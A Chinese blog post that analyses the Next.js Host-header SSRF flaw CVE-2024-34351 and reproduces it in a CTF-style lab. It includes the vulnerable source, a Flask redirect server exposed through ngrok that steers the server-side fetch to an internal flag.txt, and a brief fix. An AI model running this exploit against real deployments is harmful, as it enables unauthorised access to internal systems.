从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害
前言
本篇博文主要内容是通过代码审计以及场景复现一个 NextJS 的安全漏洞(CVE-2024-34351)来讲述滥用 Host 头的危害。
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
Host 概念介绍
Host 是什么
当你在浏览器中输入一个网址并回车时,你的浏览器会发送一个 HTTP 请求到相应的服务器以获取网页内容,在这个 HTTP 请求中,会有一个叫做 "Host" 的字段,"Host" 字段标识了 HTTP 请求中所访问的主机名或域名。
在 HTTP/1.1 协议中,这个字段是必需的,它告诉服务器请求是发送到哪个具体的主机。

在上述流量中,"Host" 字段的值是 "www.baidu.com" ,这告诉服务器,当前这个请求是为了获取 www.baidu.com 上的资源。
Host 的作用
当用户通过域名请求一个网站时,首先会进行 DNS 查询,将域名解析为对应的 IP 地址。在传统模式中,一个 IP 地址只能对应一个服务器的一个端口,通常使用默认的80端口或443端口。但是,我们想要在同一台服务器上运营多个网站,这要如何实现呢?
其中一种解决方案是利用 HTTP 请求头中的 "Host" 字段来区分用户访问的网站。服务器可以根据 "Host" 字段转发请求到对应的网站,这样就能实现一台服务器上运营多个网站。

Host 滥用危害
在正常情况下,Host 头部用于指示用户访问的域名,然而,攻击者可以通过修改 Host 头部来欺骗服务器,使其认为用户访问的是受信任的域名,从而绕过安全检查。
具体而言,攻击者可以构造一个恶意的 Host 头部,将其设置为目标服务器上的受信任域名。当服务器接收到请求时,它会根据 Host 头部来确定用户访问的站点,并执行相应的逻辑。攻击者可以利用这个漏洞来执行未经授权的操作,例如访问敏感数据、执行恶意代码等。
Host 滥用可能会导致以下一些危害:
- XSS、SSRF、SQL 注入等;
- 未授权访问;
- 网页缓存污染;
- 密码重置污染;
- ...
接下来以 CVE-2024-34351 为例进行详细讲解,它是一个源自 NextJS 中的安全漏洞,该漏洞的利用方式是通过恶意构造的 Host 头部来触发 SSRF。
NextJS 既是客户端库,又提供了一个功能齐全的服务器端框架,但这一特性却让 hacker 有机可乘。在用户调用服务器接口,并且服务器以重定向进行响应时,它会调用以下函数:
async function createRedirectRenderResult(req: IncomingMessage,res: ServerResponse,redirectUrl: string,basePath: string,staticGenerationStore: StaticGenerationStore
) {...if (redirectUrl.startsWith('/')) {...const host = req.headers['host']...const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)...try {const headResponse = await fetch(fetchUrl, {method: 'HEAD',headers: forwardedHeaders,next: {// @ts-ignoreinternal: 1,},})if (headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER) {const response = await fetch(fetchUrl, {method: 'GET',headers: forwardedHeaders,next: {// @ts-ignoreinternal: 1,},})...return new FlightRenderResult(response.body!)}} catch (err) {...}}return RenderResult.fromStatic('{}')
}
根据上述代码可以发现,如果重定向路径以 / 开头,服务器会请求 fetchUrl 资源返回给客户端,而不是直接将客户端直接重定向到 fetchUrl。
而 fetchUrl 中的目标地址正是来自客户端请求头中的 Host 参数:
const host = req.headers['host']
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
如果我们伪造指向内部主机的 Host 头,NextJS 将尝试从该主机而不是应用程序本身获取响应,从而导致 SSRF。
下面我们将通过场景复现的形式来进一步讲解,同时也能够加深读者的理解。
Host 漏洞复现
现在有一个 WEB 程序,目录结构如下所示:
Archive: log-action.zipcreating: log-action/creating: log-action/backend/inflating: log-action/backend/flag.txt inflating: log-action/docker-compose.yml creating: log-action/frontend/inflating: log-action/frontend/.gitignore inflating: log-action/frontend/Dockerfile inflating: log-action/frontend/entrypoint.sh inflating: log-action/frontend/next-env.d.ts inflating: log-action/frontend/next.config.mjs inflating: log-action/frontend/package-lock.json inflating: log-action/frontend/package.json inflating: log-action/frontend/postcss.config.mjs creating: log-action/frontend/src/creating: log-action/frontend/src/app/creating: log-action/frontend/src/app/admin/inflating: log-action/frontend/src/app/admin/page.tsx inflating: log-action/frontend/src/app/global.css inflating: log-action/frontend/src/app/layout.tsx creating: log-action/frontend/src/app/login/inflating: log-action/frontend/src/app/login/page.tsx creating: log-action/frontend/src/app/logout/inflating: log-action/frontend/src/app/logout/page.tsx inflating: log-action/frontend/src/app/page.tsx inflating: log-action/frontend/src/auth.config.ts inflating: log-action/frontend/src/auth.ts creating: log-action/frontend/src/lib/inflating: log-action/frontend/src/lib/actions.ts inflating: log-action/frontend/src/middleware.ts inflating: log-action/frontend/tailwind.config.ts inflating: log-action/frontend/tsconfig.json
我们的目的是获取到 log-action/backend/flag.txt 里的内容。当前 log-action/backend/flag.txt 通过 Nginx 挂载到 /usr/share/nginx/html/flag.txt,因此,我们只需要到达内部 Nginx,即可访问 http://<后端IP>/flag.txt 来获取到文件内容。

这里利用了 Next.js 在服务器操作中的 SSRF 漏洞(CVE-2024-34351)。当我们调用一个服务器动作时,它会通过异步函数 createRedirectRenderResult() 来响应一个重定向。Tip: 已在上文进行分析。
而 WEB 应用程序源代码中的注销页面 log-action/frontend/src/app/logout/page.tsx 刚好符合上述条件,它使用服务器操作 "use server"; 和 redirect() 函数将客户端重定向到 /login。

当我们点击注销页面的 “Log out” 按钮时,它会发送以下 POST 请求:

因为重定向路径以 / 开头,它首先获取重定向路径的响应,然后将响应返回给客户端,而不是直接重定向到客户端,因此我们可以利用此特性,让服务器端使用 Host 头从任何来源获取任何资源。
在本地创建一个 Flask 应用程序,代码如下所示:
from flask import Flask, request, Responseapp = Flask(__name__)@app.route('/login')
def exploit():if request.method == 'HEAD':response = Response()response.headers['Content-Type'] = 'text/x-component'return responseelif request.method == 'GET':return 'After CORS preflight check'if __name__ == '__main__':app.run(port=80, debug=True)
Tip
代码里的路由为 /login 是没有问题的,因为我们的下一个动作就是 redirect("/login")。
这是 NextJS 的特性,它使用 Next-Action ID 来唯一标识我们下一步要采取的动作,因此只要我们传递对应的 Next-Action 标头就会触发动作,而不用去关心具体的路由。
通过 ngrok 进行端口转发:
Forwarding https://1593-{REDACTED}.ngrok-free.app -> http://localhost:80
重新发送 /logout 请求,请求结果如下所示:

可以发现我们成功地获取到了响应体,那么接下来我们只要更改成 Flask 的代码,将服务器端的 fetch 重定向到我们想要的资源即可,修改代码如下所示:
@app.route('/login')
def exploit():if request.method == 'HEAD':...elif request.method == 'GET':ip = '后端IP'return redirect(f'http://{ip}/flag.txt')
运行结果:

为了修复这个漏洞,开发者应该在处理重定向逻辑时,对 Host 头部进行严格的验证和过滤,确保只接受受信任的域名,并对非法的 Host 头部进行拒绝或适当的处理。
后记
在本文中,我们通过分析 NextJS SSRF 漏洞(CVE-2024-34351),展示了滥用 Host 头所带来的危害。通过对 Host 的概念介绍和滥用危害的详细讨论,我们希望读者能够加深对这一问题的理解,并在开发和维护应用程序时更加重视和注意 Host 头的安全使用。
作者:sidiot
链接:https://juejin.cn/post/7388064351503892495
相关文章:
从 NextJS SSRF 漏洞看 Host 头滥用所带来的危害
前言 本篇博文主要内容是通过代码审计以及场景复现一个 NextJS 的安全漏洞(CVE-2024-34351)来讲述滥用 Host 头的危害。 严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能…...
LC617-合并二叉树
文章目录 1 题目描述2 思路优化代码完整输入输出 参考 1 题目描述 https://leetcode.cn/problems/merge-two-binary-trees/description/ 给你两棵二叉树: root1 和 root2 。 将其中一棵覆盖到另一棵之上时,两棵树上的一些节点将会重叠(而另…...
深入解析:端到端目标检测模型的奥秘
深入解析:端到端目标检测模型的奥秘 在人工智能领域,计算机视觉任务一直是研究的热点之一。目标检测作为计算机视觉中的核心问题,其重要性不言而喻。端到端的目标检测模型,以其高效的性能和简洁的架构,逐渐成为研究和…...
xmind--如何快速将Excel表中多列数据,复制到XMind分成多级主题
每次要将表格中的数据分成多级时,只能复制粘贴吗 快来试试这个简易的方法吧 这个是原始的表格,分成了4级 步骤: 1、我们可以先按照这个层级设置下空列(后买你会用到这个空列) 二级不用加、三级前面加一列、四级前面加…...
在 Android 上实现语音命令识别:详细指南
在 Android 上实现语音命令识别:详细指南 语音命令识别在现代 Android 应用中变得越来越普遍。它允许用户通过自然语言与设备进行交互,从而提升用户体验。本文将详细介绍如何在 Android 上实现语音命令识别,包括基本实现、带有占位槽位的命令处理,以及相关的配置和调试步骤…...
怎么理解FPGA的查找表与CPLD的乘积项
怎么理解 fpga的查找表 与cpld的乘积项 FPGA(现场可编程门阵列)和CPLD(复杂可编程逻辑器件)是两种常见的数字逻辑器件,它们在内部架构和工作原理上有着一些显著的区别。理解FPGA的查找表(LUT,L…...
51.2T 800G 以太网交换机,赋能AI开放生态
IB与以太之争 以太网替代IB趋势明显。据相关报告:2024年TOP500的超算中,采用以太网方案占比48.5%,InfiniBand占比为39.2%,其中排名前6的超算中已有5个使用以太网互联。 开放系统战胜封闭系统仅是时间问题。我们已经看到…...
【制作100个unity游戏之31】用unity制作一个爬坡2d赛车小游戏
最终效果 【制作100个unity游戏之31】用unity制作一个爬坡2d赛车小游戏 前言 今天用unity制作一个简单的爬坡2d赛车小游戏 素材 https://www.spriters-resource.com/mobile/hillclimbracing/ 拼装车素材 车身添加碰撞体,摩檫力0 轮胎添加碰撞体和刚体࿰…...
Spring Boot 注解 @PostConstruct 介绍
Spring Boot 注解 PostConstruct 介绍 文章目录 Spring Boot 注解 PostConstruct 介绍一、基本介绍二、PostConstruct 的执行时机Spring Bean 的生命周期PostConstruct 的确切执行时机执行顺序示例重要注意事项 三、使用场景及代码示例1. 初始化资源:比如打开数据库…...
深度学习环境配置报错解决日记
2024年7越24日 1、detectron2需要编译 首先需要在自己创建的虚拟环境中下载一下detectron2 conda create -n pytorch python3.9 conda activate pythorch git clone https://github.com/facebookresearch/detectron2.git 接下来就是编译环节: 在win系统中&…...
百度,有道,谷歌翻译API
API翻译 百度,有道,谷歌API翻译(只针对中英相互翻译),其他语言翻译需要对应from,to的code 百度翻译 package fills.tools.translate; import java.util.ArrayList; import java.util.HashMap; import java.util.Lis…...
java-双亲委派机制
Java虚拟机(JVM)中的类加载器(Class Loader)负责将类(.class文件)加载到JVM中,以便Java程序能够使用这些类。在JVM中,类加载器被组织成一种层次结构关系,这种层次结构关系…...
【C++】set的使用
🔥个人主页: Forcible Bug Maker 🔥专栏: STL || C 目录 🌈前言🌈关于set🔥容量函数emptysize 🔥Modifiersinserteraseclear 🔥Operationsfindcountlower_bound和upper_…...
React 18【实用教程】(2024最新版)
搭建开发环境 含配置,react-developer-tools 和 Redux DevTools 下载安装 https://blog.csdn.net/weixin_41192489/article/details/138523829 JSX 语法 https://blog.csdn.net/weixin_41192489/article/details/138649165 组件 父子组件传值、兄弟组件传值、越层组…...
Perl语言入门学习指南
Perl语言(Practical Extraction and Report Language)是一种强大的脚本语言,以其灵活性和强大的文本处理能力而闻名。Perl广泛应用于系统管理、Web开发、网络编程和数据处理等领域。本文将带您入门Perl语言,介绍其基本语法、常用功…...
《Java8函数式编程》学习笔记汇总
前言 见证了java8的多层排序,为此想系统学习下java8的用法。 目录 简介Lambda表达式流高级集合类和收集器数据并行化测试、调试和重构设计和架构的原则使用Lambda表达式编写并发程序下一步改怎么办 后记...
C语言之封装,继承,多态
本文参考: c语言面向对象之封装c面向对象之继承Linux源码分析之多态 一、封装 封装的本质就是将数据和方法集中到一个对象中,c或者java使用的是class来实现。c语言中可以使用struct来实现同样的功能。比如下面的程序: struct student {int…...
GO内存分配详解
文章目录 GO内存分配详解一. 物理内存(Physical Memory)和虚拟内存(Virtual Memory)二. 内存分配器三. TCMalloc线程内存(thread memory)页堆(page heap)四. Go内存分配器mspanmcachemcentralmheap五. 对象分配流程六. Go虚拟内存ArenaGO内存分配详解 这篇文章中我将抽丝剥茧,…...
每日Attention学习12——Exterior Contextual-Relation Module
模块出处 [ISBI 22] [link] [code] Duplex Contextual Relation Network for Polyp Segmentation 模块名称 Exterior Contextual-Relation Module (ECRM) 模块作用 内存型特征增强模块 模块结构 模块思想 原文表述:在临床环境中,不同样本之间存在息肉…...
为什么现在电销公司这么难?
现在电销公司普遍底薪就4000,员工要干的工作: 1、自己办卡、现在大部分人对隐私方面比较在意,一般电销公司还都需要自己身份证实名办卡,打几天又封号,有的人甚至被移动拉黑 2、天天打电话,遇见的什么人都…...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...
智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
MySQL 部分重点知识篇
一、数据库对象 1. 主键 定义 :主键是用于唯一标识表中每一行记录的字段或字段组合。它具有唯一性和非空性特点。 作用 :确保数据的完整性,便于数据的查询和管理。 示例 :在学生信息表中,学号可以作为主键ÿ…...
【LeetCode】3309. 连接二进制表示可形成的最大数值(递归|回溯|位运算)
LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 题目描述解题思路Java代码 题目描述 题目链接:LeetCode 3309. 连接二进制表示可形成的最大数值(中等) 给你一个长度为 3 的整数数组 nums。 现以某种顺序 连接…...
日常一水C
多态 言简意赅:就是一个对象面对同一事件时做出的不同反应 而之前的继承中说过,当子类和父类的函数名相同时,会隐藏父类的同名函数转而调用子类的同名函数,如果要调用父类的同名函数,那么就需要对父类进行引用&#…...
深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...
[特殊字符] 手撸 Redis 互斥锁那些坑
📖 手撸 Redis 互斥锁那些坑 最近搞业务遇到高并发下同一个 key 的互斥操作,想实现分布式环境下的互斥锁。于是私下顺手手撸了个基于 Redis 的简单互斥锁,也顺便跟 Redisson 的 RLock 机制对比了下,记录一波,别踩我踩过…...
JS红宝书笔记 - 3.3 变量
要定义变量,可以使用var操作符,后跟变量名 ES实现变量初始化,因此可以同时定义变量并设置它的值 使用var操作符定义的变量会成为包含它的函数的局部变量。 在函数内定义变量时省略var操作符,可以创建一个全局变量 如果需要定义…...
